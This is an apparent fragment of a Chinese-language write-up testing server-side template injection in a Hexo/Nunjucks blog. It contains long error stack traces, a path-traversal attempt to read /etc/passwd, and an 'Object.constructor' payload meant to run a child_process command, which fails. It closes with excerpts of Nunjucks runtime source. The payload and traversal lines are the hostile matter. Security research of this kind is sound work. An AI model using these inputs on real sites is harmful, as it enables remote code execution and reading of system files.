===== Context Dump Ends ===== at formatNunjucksError (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:171:13) at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:246:36 at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23) at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31) at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18) at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10) at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:725:18) at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12) at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9) at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5) at Async.drainQueues [as _onImmediate] (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14) at process.processImmediate (node:internal/timers:471:21) { line: 578, location: '\x1B[35m_posts/****.md\x1B[39m [Line 578, Column 18]', type: 'expected variable end' } } Something's wrong. Maybe you can find the solution here: %s https://hexo.io/docs/troubleshooting.html
Template render error: (unknown path) Error: template not found: ../../../../../../../etc/passwd at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11) at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19 at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11) ...
{{ Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}
但是报错了
Template render error: (unknown path) Error: Unable to call `Object["constructor"]`, which is undefined or falsey at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11) at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19 at Template.root [as rootRenderFunc] (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:636:18), <anonymous>:18:3) at Template.render (/path/to/myblog/node_modules/nunjucks/src/environment.js:552:10) at Environment.renderString (/path/to/myblog/node_modules/nunjucks/src/environment.js:380:17) at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:238:16 at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23) at Promise.fromNode.Promise.fromCallback (/path/to/myblog/node_modules/bluebird/js/release/promise.js:209:30) at Tag.render (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:237:20) at Object.onRenderEnd (/path/to/myblog/node_modules/hexo/lib/hexo/post.js:426:22) at /path/to/myblog/node_modules/hexo/lib/hexo/render.js:85:21 at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23) at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31) at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18) at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10) at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:729:18) at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12) at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9) at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5) at Async.drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14) at process.processImmediate (node:internal/timers:471:21)
functioncallWrap(obj, name, context, args) { // 函数调用,调obj()函数,context作为属性,args是方法的数组 if (!obj) { thrownewError('Unable to call `' + name + '`, which is undefined or falsey'); } elseif (typeof obj !== 'function') { thrownewError('Unable to call `' + name + '`, which is not a function'); }
return obj.apply(context, args); }
functioncontextOrFrameLookup(context, frame, name) { // 查找frame和contenxt下的name var val = frame.lookup(name); return val !== undefined ? val : context.lookup(name); }